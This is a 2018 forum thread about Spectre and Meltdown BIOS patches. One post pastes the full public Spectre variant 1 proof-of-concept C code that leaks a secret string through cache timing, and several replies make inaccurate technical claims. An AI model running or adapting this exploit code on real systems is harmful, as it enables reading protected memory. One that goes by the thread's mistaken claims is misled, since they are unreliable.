Calguns.net  

Home My iTrader Join the NRA Donate to CGSSA Sponsors CGN Google Search
CA Semiauto Ban(AW)ID Flowchart CA Handgun Ban ID Flowchart CA Shotgun Ban ID Flowchart
Go Back   Calguns.net > GENERAL DISCUSSION > Technology and Internet
Register FAQ Members List Calendar Mark Forums Read

Technology and Internet Emerging and current tech related issues. Internet, DRM, IP, and other technology related discussions.

Reply
 
Thread Tools Display Modes
  #1  
Old 02-21-2018, 1:53 PM
Half Cocked's Avatar
Half Cocked Half Cocked is offline
Senior Member
 
Join Date: Dec 2007
Location: Socialist Republik of Kalifornistan
Posts: 622
iTrader: 0 / 0%
Default Has anyone updated their BIOS for the Spectre and Meltdown threats?

I've read that some of Intel's earliest patches have caused PCs to brick or have random reboots. Has anyone had any problems updating their PC BIOS to counter this threat? I have received a BIOS update for my Intel machine but I am hesitant to install it given Intel's recent botched patches.
__________________
Reply With Quote
  #2  
Old 02-22-2018, 6:16 AM
67Cuda's Avatar
67Cuda 67Cuda is offline
Senior Member
 
Join Date: Oct 2013
Location: West Coast, CA
Posts: 625
iTrader: 0 / 0%
Default

Leo says hold tight on updating.

http://www.techguylabs.com/episodes/...e-plague-intel
Reply With Quote
  #3  
Old 02-22-2018, 6:47 AM
Skip_Dog's Avatar
Skip_Dog Skip_Dog is offline
Senior Member
 
Join Date: Apr 2017
Location: Nor Cal
Posts: 850
iTrader: 2 / 100%
Default

Now is the time to make sure you are backed up. Well now if you have not done so. Back ups are a must for everyone.
Reply With Quote
  #4  
Old 02-22-2018, 12:04 PM
pchang1201 pchang1201 is offline
Junior Member
 
Join Date: Feb 2018
Location: San Francisco
Posts: 51
iTrader: 0 / 0%
Default

It's not really possible to back up your BIOS since it resides on a chip on the motherboard. Imaging or cloning the hard drive does nothing with regards to the BIOS. If you decide to update the BIOS you should check to see if there's a BIOS backup chip on the motherboard or if it can be downloaded from the manufacturer. If something goes wrong you could end up with a large paper weight instead of a working PC.
Reply With Quote
  #5  
Old 02-22-2018, 1:06 PM
oktavist oktavist is offline
Member
 
Join Date: Aug 2015
Location: Santa Cruz County
Posts: 235
iTrader: 0 / 0%
Default

1. Intel provided the means of protecting against this type of attack back in 1996. Microsoft and Apple have simply ignored it. Now they don't want to use it because everyone has written programs that will not be compatible with the patch that was around since 1996

2. Specter is a crappy slow attack that really doesn't pose much of a threat to most people at all. If you don't believe me, here it is:
Quote:
/*
EDB Note:
- https://spectreattack.com/
- https://spectreattack.com/spectre.pdf
- https://googleprojectzero.blogspot.c...with-side.html
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
//#include <intrin.h> /* for rdtscp and clflush */
//#pragma optimize("gt",on)
#else
//#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/************************************************** ******************
Victim code.
************************************************** ******************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];

char *secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}


/************************************************** ******************
Analysis code
************************************************** ******************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t *addr;

for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {

/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush(&array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));

/* Call the victim! */
victim_function(x);
}

/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}

/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}

int main(int argc, const char **argv) {
size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
int i, score[2], len=40;
uint8_t value[2];

for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void**)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", &len);
}

printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void*)malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}
Note: It does not contain any privilege escalation. It is probabilistic and can't give a definite answer. It takes a VERY long time to gather small amounts of data. Specter takes over 10 hours to read the ram on my computer and each byte it reads is only about 90% accurate.

Suck it computer FUD spreaders!

Edit: You'll also notice that the attack relies on the "read time stamp counter" opcode. This opcode may be restricted to ring zero via hardware flag. Therefor all intel hardware can already be made immune to these attacks. Microsoft and Apple simply choose to not use the security that intel has had in place for over 20 years.
__________________
Calguns Lurker

Last edited by oktavist; 02-22-2018 at 1:20 PM..
Reply With Quote
  #6  
Old 02-22-2018, 6:02 PM
jdfthetech's Avatar
jdfthetech jdfthetech is offline
Member
 
Join Date: Dec 2017
Location: Los Angeles
Posts: 190
iTrader: 0 / 0%
Default

Actually spectre can result in privilege escalation through running unsigned code. The code you linked is only one small example of a vulnerable program.

The way spectre works is by exploiting the prediction checksums that are used to speed up processors. This is because Intel uses prediction algorithms to do multiple computations at once on all the cores and stores the answers in cache, if the answer to a problem is not used it's tossed out and those bits are used for the next round. Spectre can make a privilege check go from 0 to 1 so it potentially allows for privilege escalation.

This exploit is hard coded into the processor. The current 'fix' for this is to disable the vulnerable checksums which essentially slows the processor down by around 12-25% depending on the application. This slowdown is generally only felt when the processor is at full load.

The spectre attacks published were purposely not released with major vulnerabilities because script kiddies would just copy the code and start having a field day, much like the days of 'Back Orifice' when the network stack was exploited and MS hadn't fixed it.
__________________
while (bullets > 0 && target == 1){fire == 1;}
Reply With Quote
  #7  
Old 02-22-2018, 10:18 PM
BuddyBoy BuddyBoy is online now
Member
 
Join Date: Mar 2016
Location: San Jose
Posts: 133
iTrader: 0 / 0%
Default

Quote:
Originally Posted by jdfthetech View Post

The way spectre works is by exploiting the prediction checksums that are used to speed up processors. This is because Intel uses prediction algorithms to do multiple computations at once on all the cores and stores the answers in cache, if the answer to a problem is not used it's tossed out and those bits are used for the next round. Spectre can make a privilege check go from 0 to 1 so it potentially allows for privilege escalation.

This exploit is hard coded into the processor. The current 'fix' for this is to disable the vulnerable checksums which essentially slows the processor down by around 12-25% depending on the application. This slowdown is generally only felt when the processor is at full load.
Please do not post anymore about anything having to do with technology. You have absolutely NO understanding about Spectre or Meltdown or computer architecture or how a modern CPU works.

You need to go back to whatever vocational school took your money when they promised to teach you about computers, and ask for a refund.

P.S. Your sig contains such a basic error that it only succeeds in making you look ignorant.
Reply With Quote
  #8  
Old 02-22-2018, 6:05 PM
jdfthetech's Avatar
jdfthetech jdfthetech is offline
Member
 
Join Date: Dec 2017
Location: Los Angeles
Posts: 190
iTrader: 0 / 0%
Default

As for your BIOS question, I'd recommend holding off on a BIOS patch for a bit. There have been some folks who have done patches that have bricked their systems.

The spectre attack is very much hardware specific and it's doubtful a thief is going to target specific chips on consumer machines. It is much more likely they will target HP and Dell rack servers that run a large chunk of banking systems, medical systems, and credit systems so that's where the real danger lies.
__________________
while (bullets > 0 && target == 1){fire == 1;}
Reply With Quote
  #9  
Old 02-22-2018, 8:52 PM
C.G.'s Avatar
C.G. C.G. is offline
Calguns Addict
 
Join Date: Oct 2005
Location: Central Coast
Posts: 7,056
iTrader: 19 / 100%
Default

Dell put out one, no problems running the new bios.
__________________
Reply With Quote
  #10  
Old 02-22-2018, 10:05 PM
oktavist oktavist is offline
Member
 
Join Date: Aug 2015
Location: Santa Cruz County
Posts: 235
iTrader: 0 / 0%
Default

Quote:
Actually spectre can result in privilege escalation through running unsigned code.
While being able to READ protected memory space can give one information needed to escalate privilege through other means, which is definitely bad, there is no privilege escalation in the published code.
Quote:
The way spectre works is by exploiting the prediction checksums that are used to speed up processors.
I was under the impression that these were windows hashes that are used when two processes use the same .dll resources and not intel hardware related.

But my point was, I don't think I need to worry about an exploit that has a read speed of 10 KB/sec, and I don't understand why not just set the TSD flag in CR4 from 0 to 1 so the problem goes away entirely.
__________________
Calguns Lurker
Reply With Quote
  #11  
Old 02-23-2018, 8:43 PM
jdfthetech's Avatar
jdfthetech jdfthetech is offline
Member
 
Join Date: Dec 2017
Location: Los Angeles
Posts: 190
iTrader: 0 / 0%
Default

Quote:
Originally Posted by oktavist View Post
While being able to READ protected memory space can give one information needed to escalate privilege through other means, which is definitely bad, there is no privilege escalation in the published code.
I specifically said there wasn't privilege escalation in the published code, and I also stated this was never released so script kiddies wouldn't just have it to copy it.

Here is intels document on Speculative Side Channel Mitigations:

https://software.intel.com/sites/def...itigations.pdf

Please read section 2.3.1 on Branch Prediction

In section 2.3.2 they also state the following:


"In a processor supporting Intel® Hyper-Threading Technology, a core (or physical processor) may
include multiple logical processors. In such a processor, the logical processors sharing a core may
share indirect branch predictors. As a result of this sharing, software on one of a core’s logical
processors may be able to control the predicted target of an indirect branch executed on another
logical processor of the same core.
This sharing occurs only within a core. Software executing on a logical processor of one core cannot
control the predicted target of an indirect branch by a logical processor of a different core. "

Exploiting this would allow an attacker to read or change instructions on any current core. If they force their application to single core through an assembler, they should be able to also exploit memory injection by overwriting key memory predictors. How many basic systems have incorrectly set sudo users or elevated privileges on database systems for instance? There are many ways this could be used, but it does require deep knowledge of the architecture.
__________________
while (bullets > 0 && target == 1){fire == 1;}
Reply With Quote
  #12  
Old 02-23-2018, 12:17 AM
oktavist oktavist is offline
Member
 
Join Date: Aug 2015
Location: Santa Cruz County
Posts: 235
iTrader: 0 / 0%
Default

Quote:
P.S. Your sig contains such a basic error
I never read peoples sigs... I see what you mean.
__________________
Calguns Lurker
Reply With Quote
  #13  
Old 02-23-2018, 8:29 PM
jdfthetech's Avatar
jdfthetech jdfthetech is offline
Member
 
Join Date: Dec 2017
Location: Los Angeles
Posts: 190
iTrader: 0 / 0%
Default

Quote:
Originally Posted by oktavist View Post
I never read peoples sigs... I see what you mean.
this has been discussed, it's a joke
__________________
while (bullets > 0 && target == 1){fire == 1;}
Reply With Quote
  #14  
Old 02-23-2018, 4:38 AM
the86d's Avatar
the86d the86d is offline
Calguns Addict
 
Join Date: Jul 2011
Location: Pinko-occupied Commiefornia
Posts: 6,776
iTrader: 3 / 100%
Default

BIOS/Firmware too old... they do not update.
__________________
Quote:
Originally Posted by FeuerFrei View Post
...Either that or use the holy hand grenade of Antioch.
"That's what governments are for - get in a man's way." - Captain Malcolm 'Mal' Reynolds
Reply With Quote
  #15  
Old 02-23-2018, 4:02 PM
Half Cocked's Avatar
Half Cocked Half Cocked is offline
Senior Member
 
Join Date: Dec 2007
Location: Socialist Republik of Kalifornistan
Posts: 622
iTrader: 0 / 0%
Default

I came across this program from Gibson Research called InSpectre that will check to see if your system is protected against the spectre and meltdown threats.

https://www.grc.com/inspectre.htm

From what I have read there are two variants of the spectre threat. One of the spectre variants and the meltdown threat can be handled by operating system patches and Microsoft has already pushed these out for Windows. The other spectre variant requires an updated BIOS patch. Running InSpectre shows that my machine is protected against meltdown but not spectre presumably because I am holding off on updating my BIOS.
__________________
Reply With Quote
  #16  
Old 02-24-2018, 1:43 AM
oktavist oktavist is offline
Member
 
Join Date: Aug 2015
Location: Santa Cruz County
Posts: 235
iTrader: 0 / 0%
Default

Quote:
this has been discussed, it's a joke
I missed the discussion. It's a good joke.

Quote:
I specifically said there wasn't privilege escalation in the published code,
Quote:
Actually spectre can result in privilege escalation through running unsigned code.
Sorry, I guess that wasn't specific enough for me.

Quote:
Here is intels document on Speculative Side Channel Mitigations:
https://software.intel.com/sites/def...itigations.pdf
"Speculative Execution Side Channel Mitigations" (emphasis mine)
Thanks for the link, that was a good read. In summary:
Quote:
Appropriately written software can use these indirect branch control mechanisms to defend against branch target injection attacks.
Yet another way to deal with this attack without needing a BIOS patch!

I was going to point out the irony in linking to a document that agrees with me, and talk about how spectre type side channel attacks rely on RDTSC opcode, and how it doesn't work on chips with SpeedStep or any other type of clock throttling, etc, etc... but then I realized it was another joke. Touché!

Quote:
I came across this program from Gibson Research called InSpectre
Mr Gibson also makes a good point about RDTSC opcode. If your chip supports hardware virtualization, you can add some "fuzz" to the low bits for protection against the whole class of side channel attacks.
__________________
Calguns Lurker

Last edited by oktavist; 02-24-2018 at 1:52 AM.. Reason: needed some emphasis
Reply With Quote
  #17  
Old 02-24-2018, 8:42 AM
jdfthetech's Avatar
jdfthetech jdfthetech is offline
Member
 
Join Date: Dec 2017
Location: Los Angeles
Posts: 190
iTrader: 0 / 0%
Default

https://lkml.org/lkml/2018/1/3/797
__________________
while (bullets > 0 && target == 1){fire == 1;}
Reply With Quote
  #18  
Old 02-24-2018, 10:47 AM
Dragunov's Avatar
Dragunov Dragunov is offline
Senior Member
 
Join Date: Dec 2008
Location: TEXAS and FREEDOM!!
Posts: 1,334
iTrader: 0 / 0%
Default

As I believe that these "exploits" don't exist at all, No I haven't, and nor will I. Nor do I recommend it.
Reply With Quote
  #19  
Old 02-24-2018, 1:53 PM
oktavist oktavist is offline
Member
 
Join Date: Aug 2015
Location: Santa Cruz County
Posts: 235
iTrader: 0 / 0%
Default

Quote:
Originally Posted by Dragunov View Post
As I believe that these "exploits" don't exist at all
They definitely exist. I posted one in this thread. And they definitely need to be dealt with. I simply think this particular case is not as bad as people make it out to be. But definitely still bad.
__________________
Calguns Lurker
Reply With Quote
  #20  
Old 02-24-2018, 5:18 PM
Dragunov's Avatar
Dragunov Dragunov is offline
Senior Member
 
Join Date: Dec 2008
Location: TEXAS and FREEDOM!!
Posts: 1,334
iTrader: 0 / 0%
Default

Quote:
Originally Posted by oktavist View Post
They definitely exist. I posted one in this thread. And they definitely need to be dealt with. I simply think this particular case is not as bad as people make it out to be. But definitely still bad.
Unless you work for Microsnot, AMD, or Intel as an engineer, you don't know for sure. You only know what they tell you. IMHO, this is there way of scaring you into new BIOS updates, that will limit CPU capabilities, so they can continue to make "better" equipment. Moore's law is dead.
Reply With Quote
  #21  
Old 02-24-2018, 1:37 PM
oktavist oktavist is offline
Member
 
Join Date: Aug 2015
Location: Santa Cruz County
Posts: 235
iTrader: 0 / 0%
Default

Ok, this is getting tiresome...

From your link https://lkml.org/lkml/2018/1/3/797
Quote:
A *competent* CPU engineer would fix this by making sure speculation doesn't happen across protection domains.
So Linus thinks we should use a method identical to the one intel already has.
This is what https://software.intel.com/sites/def...itigations.pdf is talking about.
__________________
Calguns Lurker
Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump



All times are GMT -8. The time now is 9:30 PM.




Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2018, vBulletin Solutions, Inc.
Proudly hosted by GeoVario the Premier 2A host.
Calguns.net, the 'Calguns' name and all associated variants and logos are ® Trademark and © Copyright 2002-2018, Calguns.net an Incorporated Company All Rights Reserved.
Calguns.net and The Calguns Foundation have no affiliation and are in no way related to each other.
All opinions, statements and remarks made by Calguns.net on this web site and elsewhere are solely attributable to Calguns.net.